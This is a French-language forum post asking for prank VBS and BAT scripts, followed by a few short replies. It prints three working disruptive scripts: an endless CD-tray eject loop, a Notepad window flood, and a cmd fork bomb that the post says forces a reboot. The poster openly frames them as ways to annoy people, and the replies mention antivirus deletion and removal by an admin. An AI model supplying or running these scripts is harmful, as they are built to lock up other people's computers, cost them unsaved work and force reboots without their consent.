Commandes .vbs et .bat

Salut a tous !

JE cherche quelques fichiers vbs ou BAT pour m'amuser

j'ai déja quelques commandes comme celles ci en vbs

Lecteur CD ouvert/fermé ^^ :

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


nodepad fl00d

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell" )
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop

et en .bat la fameuse cmd ^^

cmd flood must reboot !

:lol
start cmd
start cmd
start cmd
start cmd
start cmd
start cmd
goto lol

__________________________________

Je cherche d'autres commandes comme ca si qqun en a ( avec évidament ce que ca fait ^^ )

Merci a tous

Et je me passe des réponses du genre

"tu sert a rien juste a faire chier le monde et bousiller le pc des autres"

heuu ca fait quoi pcq mon antivirus le supprime "--

pk tu l'a enlevé mdr !

heureusement que je l'ai gardé mdr

EDIT : ah non c l'admin mdr